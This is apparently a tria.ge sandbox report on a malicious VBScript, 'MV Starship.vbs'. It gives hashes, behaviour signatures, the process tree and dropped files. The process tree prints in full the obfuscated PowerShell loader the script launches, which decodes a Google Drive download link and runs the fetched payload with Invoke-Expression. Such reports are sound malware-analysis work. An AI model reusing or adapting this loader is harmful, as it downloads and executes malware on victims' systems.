Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    144s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    11/06/2024, 19:20

General

  • Target

    MV Starship.vbs

  • Size

    21KB

  • MD5

    01bf68b9fb7916cf510229bdd24a6834

  • SHA1

    9fd7587e632de2b688ff7c9b90ac771b04e300f4

  • SHA256

    dff846c5ee6d0aa1b1d389a0dc98be418a941d2b3986faacec9b046f61190d42

  • SHA512

    a056b5c410c65c4cd17b6f7542a37a2b5de6c4ce6714c6f65835de1402ed3b4cf900e394bea1f116f1bd31d3fe8d28b8f9cbef628cd6284d5e5bce1d57935ca7

  • SSDEEP

    384:9sy8gxGZSf1CjZ2O7Eu0wYbVEj2zPbaFsNNFHd+tyR6MvC81Kw:9hjxGsf8jZ2iBXCPbNN1dxR6Y

Score
6/10

Malware Config

Signatures

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MV Starship.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle 1 "$derivationers = 1;$Charlottenlund='';Function Herborist($Swallowtails){$Nondiscernment=$Swallowtails.Length-$derivationers;$Macromere=$Charlottenlund+'Substring';For( $Tvrfaglighedens=7;$Tvrfaglighedens -lt $Nondiscernment;$Tvrfaglighedens+=8){$Safenesses+=$Swallowtails.$Macromere.Invoke( $Tvrfaglighedens, $derivationers);}$Safenesses;}function Elabrate($Nonprotractile){ . ($Pincheck) ($Nonprotractile);}$Lidelser=Herborist 'P ckthrMAcroc,moPen,odszaprjt li.orblaclHeltem.l HavnebaBlgedal/fedn.ng5Firmate.Epicari0Fang.no Parame(FanefjoWUdstniniUnmortinNonsustd Adv.kaoTumbekgwLob.yens Bestrs VandlbsNVirkel Tindigna Shadowa1Mdeplig0Monopol.skmteda0Bull oz;Bygning PeriostWLan,eriiUnen ernove.emp6Stats,e4Prdik,n;Prototy Be,illxYderwin6Momenta4 Ov ren;Intrige OmstninrphosphovAllodia:R,ndsav1Knaldrd2Kassekl1Preflor. Disko.0Cwtind,)Weyrlac EndemorGStumpwie.mbedetcA,hundnkFunktioo Sp ogu/Aircraf2Nymphea0Gossame1Coll.so0Ulstere0Poorish1Uroe.ne0 hoplom1Uddanne BevisfrFInfantlibelysnirTwiddl,eCerati,fSpille.oFaenapexGaussku/Vesicul1Nonadap2Knog,es1Gemaric.Triobol0 Faradi ';$Professionises=Herborist ' KlapreUambitiossafireneB,llboar Favora- AaretaATonalesg UtugtseKookr pn UintahtCannabi ';$Semimaliciousness=Herborist 'Unarre.h Beamsnt MedlydtCre trep P.emersMegavol:Artemis/Dru,gyb/Pukke.hd Gu,hierSceptici NasebevEnam lle,obbele.AvengingBr tekso SaunteoL.rerbegPeckerwlApic.bae Sbehol.MisguidcHov dtroAndagt.mPermane/Funniesu UnflaucIndgroe?Tanghame .trandxAne,ochp UnegreoBenmelsrTernin,tRecirc =Tor,vild DigrapoRepertowRe.tricnFremganlStri teoForskrkaspraydadcot rmi&Krebsdyi Huggebd Karakt=Bond,ka1,rdevejBTelefonBkistebugSturd.eeMohaireXPentodemIdiophorforudsi7ThiramsW kaerinBUnicorn7FluvialL Ma,kerI Tyvere8bitrykkrBunrakuHDirektoPdegreasSResorptpFrd.ggrw MannitVIntrodui nnihi7,issentjB.lliggO J,ttas9LnkontoXKredslgQsynodonIAnt cesdSubch rcRntgenfzD scurs ';$Gatekeep=Herborist ' Beag.e>,aughfu ';$Pincheck=Herborist 'Ni.rodii Sti.preRundvisxProposi ';$Nonparlors='Gallera';$Redecision = Herborist 'MuskifieSultelncUnisexuhFredagso Reserv Signale% Fj.rteaPredanspToksikop Englebd eessraaTa,itictKommandaJudgmat%Sovesyg\CounterGClangerrFlleskoaWilhelmmInconsomr,ndstaa TredietBruskboiSaksespc zedeki.PurplisBMorfouneBev.rinr uvsede um,raes&Slamsug&Plei tr BoyardieIn ommocSlumrethUnradiaovaskegt unam rotIlloyal ';Elabrate (Herborist 'Carpali$zouaveigSc.upullOvip rooP rchlobPlin,siaHjhledelP,tesae:Fus,llfVBrnekuleKommun,sCli ocetAlmon giOv.rlibmRendegreCr nsienAfvarsltSkumlsn=Forherl(Opr knicTrempelmTailcoadAndroid Limnolo/In.eklicGru.dst inflam$ UndistRHenstileMixuncodWoefareeTeughlycParala.iAffronts.etwiseiKapselao RejemanMaestos) Fors,n ');Elabrate (Herborist 'E,femis$Basunisg Inertil Arbe doPoes,lsbUdn,tteaFilt rcl,resump:HaandskI Ho,edinSunupsbcSole,osoTilfre.rDiast orOttekanefilmindsPsychodpProarisoAnthonin Despecd Ko,eoge carbonnd,logicc ,rebogyFor uef= ircuit$blanketSK,mponee NatriumPaalgsci kaalfrm Peskiea Whor,llAdso,biiPressekcSingulriFri adeo Overw.uForstrrsSkrvebanPetitjoeProdukts raktiks rephin.Rensemas Om kolpLongilol Ejertii F brikt Revolv(Samfund$StrubcaGStilkj aTe,etyptRejoiceeInmewknkBandworeTraktateGasappapM.chaaf)Taksi.r ');$Semimaliciousness=$Incorrespondency[0];$tyggede= (Herborist ' Saxtub$AmtsraagA,viklelLemnis oSvovletb SponseaIntermelUsbekis:SjakrinATestu sfDownlinrJerntppeKrediteastat cog NattegeRessourrForkarleAtionsvdSh kenle Osma.ss Cohes,=Endeni,NTheologeKrligstwUrinsti-SiderolOUnsec ebButteryjDisquieeIrru.tscCornututMeithsi Cen,ralSOvernatyDivisiosLigkapetJubileaeKattep,m.nderfr.SmaahanNHusmdreeBac.chatUn.erst. SystemW ClotureBibeskfbu hypheCL.psidelLastep,iPretarievalgfrinPuissant');$tyggede+=$Vestiment[1];Elabrate ($tyggede);Elabrate (Herborist 'Klag,su$ agstrbAPenetrofunr.scurban,kase FiskeoaM.aneskg HazenmeKyphoscrAwakekieDenu.ledMoatinge kafirisEnhedst.Ha,moneH UnprovecomputeaMa,sastdUsheri.eOprrsber .ymssis svmmet[Bas.sud$ nsnarePSanteesrPejle io S.percfRetriereSl ngees ReembasM ralisiPredecloI,articnNobisruiJokumsrsProgreseUdkernis Rentie]Draabne=Andedk.$TommeviLafreteviAfskedidBry,lupeP ginaelSlibninsOcean uewoundaurCoriand ');$Bgeskovene=Herborist ' krfed$ AdapteAtegnebof Thebair.amiliee,orsatsaTerensrgFl.ysomeProvec,rEnshrinePapillodporphyreReembodsBldtvan.CollectDBlgerneobrahetrw IndulgnBefezzelBevillioYustagaaDecima,dGambistFAwhe,tbiSkttendlRode,eleRajasic( Gibbon$fiksstjSRhinthoefi,rinsmOplysniiTorvedam PainkiaAntwerplSpndkraiLecit.icHabitacihmme cooPolymeruColegatsMonoc rnJararacetronarvsHala,issTremmek,Allesam$Hove.stUElhegnenWorthsrdBotrycyeHalvfulfKe,anseeNonadapnPantodpdRegist,aBandlysnApp,oprtAxiolit)He dful ';$Undefendant=$Vestiment[0];Elabrate (Herborist 'M,llemh$UnsuggegBijasallComput,oTerra zbTikampeaHeretocl Indka,: M,lanonDybvandoUnderstm AphorioOvermorlOrkesteoSyndesmgKogle niPareciscFagternaSolfri,l Altsge=Polypho(BastardTaktieane UnivocsMac ocytHouse.u-SalatslPNutspolaTabtbryt ,iddashMeinost Overexu$bonitosUReluminnArteriod Ob ecteEuro arfBilbreveSamfundnHingstfdQua.nteaVejrforn Min,nat ,nivsp)Ansteti ');while (!$nomological) {Elabrate (Herborist 'Astrofe$O.bingugReamdyslhukommeoFul,stnbFarsernaDovned lSagenhe: InddatWTubercuojernvrknSelvfordOleiferem.noplarStylingiDees.panBannockgB.ackno=Brdbakk$ p.lymat Triv ar AntibuuKloakereRiddert ') ;Elabrate $Bgeskovene;Elabrate (Herborist 'PennyeaSHumrfort,jolesgaTappernrTransfutNone ig-FrilgniSTactuallAf,aetteB leddeeAarsopgpPreclos Anvende4Aftraad ');Elabrate (Herborist '.iscali$ Dia,nog,urtzitlTrap oloMiljtekbmissusea Pe,senl Flyve :veilleunVa.meleo und,bim.empiteoReinquilSoa.makoLydighegRigeligiSkatt.lco,nivisaOctyneyl crim,n= Svi.gk(RhapsodTP stulneKrumni,sUbefjedtprosopo-Hyperb,PS orsinasubpotetSkrestehRomaski Cajoled$UgunstiUSlariumn predecd Overeme JanghefpythagoeSpeedawnTru.etsdDriveriaorchillnublu.rdtM,merss)Aniceli ') ;Elabrate (Herborist 'Jollede$Kasm rsgCoryphplTingestoOarf,shb Kejsera Fitt.nl value:Ki,teneDAffiliey PolyglrChermistp oheduiKolonn,dIndk,sts bl,dserdecidene ariciagUrazineu PortallEutele.eSpildolrdelingse Denudes execut=Skuffen$BarogragMinyanilHar.ensoAflsserbfodboldaUltra,nl ,laekk:T,aktatVBeearndoLivetrag eptonitCuculareDozentbn ,unktidchylangeAnspndesSyrenen+Charola+Ph.spho%B lbide$AnnliseISyvtalcn canzoncMedlemmoSti,lesr SummonrRust.cueManner s Ursoidp Heteraoafskri.n HomomodTrresnoe,ounternUdklknicLiberalyLuftkon.GlollincSewermaoProto huSkolastnHaan sktBybudsc ') ;$Semimaliciousness=$Incorrespondency[$Dyrtidsreguleres];}$vinhandlerens=327458;$Magtapparatets=28339;Elabrate (Herborist 'Hawaiib$HydroxygTeoribglpadmelooKimsedeb BillhoaComparilInterlo:Grass oPUnsanctaJung errSlayeruaFemalislMonitorlDiabolaeSciascolYellstelFrkapsleBu,dlsedHomogen Compuls= Libera KatalogG vertrue ClitortPrefato-Tids,ngCHeterolo Salvidn Hukom,tCoars ne estann UnovertBurtoni Bloddon$RullestUBraggernTrngs ld Sa.ieneTlingenfSvaleske FristenF selsadBanelbcaUvejsomnPemph,etTor tap ');Elabrate (Herborist 'Striati$Paginergsilhouel Spectao.ffiancbLdigtinaspidsbelBe,efit:ReorderN LerkruiUnfantavAfspi,naBerve.snFarerudsbasreli5Perisin4Kernekr Mistrus=Metapol Caterin[ GrandmSFrsteviyLobulessPly dretSnderleeMisluckmCausato.re funcCSkriveboFaata.lnHypercrvTruthsfeAnt,nymrCornutit Zhmudr] Talbeh: Dberen:BasnsesFNonposirKwak utoDressenm RabarbBBacilleaRebroacsankomneeAnmel.e6Counter4 DocentS.vinekatSyvaar.rFor.finiPron,menDacryapgTimeb l(Clatchy$LandingP Procara Cad cer OmplanaCoactivlEntombmlSvarabheBengterlidentiflPanto.ae nbewild.askino)Sporvog ');Elabrate (Herborist ' Steved$ Vanligg StandrlFo vansoselvflgb MulticaUdsigerlRigsdag:TillaveCHydrostoNonn,rnl nonseqlProc,ntaOverskrt,ohndigeA.lenderLeastw a SexsymlTittivaiNatuglezforsir eAfskrkkdUn,ertr hundes =sewer.a Hectome[ColloquSAgnostiyForandrsHavemndt Ph,llie Anten.m Dragog.AdoptivTHu.deloe dicyclxDifferet Tagkon.Arriv rEDgnfluenSistanic dov,ndoRudekond flaadsiBenthacnVaaser.gLitogra]Ud ksau: Inv ta:H irychA PreweiSOrgani.CSubrutiI tapewoIMicroli.FaresigGSeparabe AmalgatFrgef,rS otididth.rmanhrCaba etiLedetranPro.eregLittera(demarch$DioderbNNedvur,iIndulgevstoepluaPortionnEskadresTautolo5Afsvkke4Afstvni)Interme ');Elabrate (Herborist ' O erga$,osterigAde tenlKvruleroC usatibTallymea tagpaplDefinit:AmoralsOTeallitpAmor,ishAvisledoElectrilSquamatdCustomaeScioptinAgersvodfyringse Mesao =Satiriz$ Nabo,rCOutskafoGladiatlcyphe,il KoncepaTolkslotTicketieCloned.r,ueestiaStgdetelSigjneriKanariezFljte,neshin.ardPer ame..eflectsKoellenu emtalsb Co,ntesMennesktProjektrVerdensiDessic.nOpkaldsgCronies(.dtryks$Syernesv Trepu,iKirkeganFab,ikahOverfrea DisazonSkovsnedWhin.dbl eimakde Forbanr AtionseOver,bsnAr,estesnanduti,Udforin$Tr.turaM FyrretamattockgLeylapotCykels,aHousalupSammenrpDo.erenaSollyoprGeokemiaOmgaerdtSidestieKaeledyt Beseeks bo,ite)Tebor.e ');Elabrate $Opholdende;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1312
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Grammatic.Ber && echo t"
        3⤵
          PID:2364

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Drunas.txt

      Filesize

      1KB

      MD5

      264c08b20e5b3a9c41eef47edff30ac7

      SHA1

      c5d147e81d3999a036e4a8dd8f705485fda21364

      SHA256

      5ebf785610f0b197ee8e022a56bf453f61027aee67d05a66406c1152eef1c249

      SHA512

      4176cd1bc505415bd8c08db758fbe7cb905eeb2a3490b31115b85dc31466c0a349c75d54c274ab00bc56465b812af671ac20f0dcd70f2364ae34ed8494e89d61

    • C:\Users\Admin\AppData\Local\Temp\Drunas.txt

      Filesize

      8KB

      MD5

      a5d970b3d775b5efed23c6854b16e232

      SHA1

      465faec9392e0dbe58849301e2382cb35a2ec40e

      SHA256

      5e80548253a13d56181a4ca445ab4e6178291016a0978e1a136d98f753e2700a

      SHA512

      a0a1831ef5c4ad7554df863e9187a4835d4702793628f884f0fcecf215fd387fb26a5bfe7b51443daca4293f52fe12dd63afb81d035156c81b5f70abbee945d8

    • C:\Users\Admin\AppData\Local\Temp\Drunas.txt

      Filesize

      8KB

      MD5

      12291e196394affb2faa0c9d421d4f68

      SHA1

      f046955167b28e45ddbe4117a47cf9385e1179ea

      SHA256

      a4f6868646bbcbbe3c3e4669bb034491ef1c14a23efbcdf55ce90f965993b063

      SHA512

      7d31ffdac55e7d9444ef8bb5c82987442272500325e5241ea641a34890a4362912e3d310f8d61590b571ef4fa2d3970eed0d0d681a1363ccf82f2959c5eb4a38

    • memory/1312-342-0x00000000022D0000-0x00000000022D8000-memory.dmp

      Filesize

      32KB

    • memory/1312-341-0x000000001B620000-0x000000001B902000-memory.dmp

      Filesize

      2.9MB

    • memory/1312-343-0x000007FEF53C0000-0x000007FEF5D5D000-memory.dmp

      Filesize

      9.6MB

    • memory/1312-340-0x000007FEF567E000-0x000007FEF567F000-memory.dmp

      Filesize

      4KB

    • memory/1312-345-0x000007FEF53C0000-0x000007FEF5D5D000-memory.dmp

      Filesize

      9.6MB

    • memory/1312-344-0x000007FEF53C0000-0x000007FEF5D5D000-memory.dmp

      Filesize

      9.6MB

    • memory/1312-346-0x000007FEF53C0000-0x000007FEF5D5D000-memory.dmp

      Filesize

      9.6MB

    • memory/1312-347-0x000007FEF53C0000-0x000007FEF5D5D000-memory.dmp

      Filesize

      9.6MB

    • memory/1312-348-0x000007FEF567E000-0x000007FEF567F000-memory.dmp

      Filesize

      4KB

    • memory/1312-349-0x000007FEF53C0000-0x000007FEF5D5D000-memory.dmp

      Filesize

      9.6MB

    • memory/1312-350-0x000007FEF53C0000-0x000007FEF5D5D000-memory.dmp

      Filesize

      9.6MB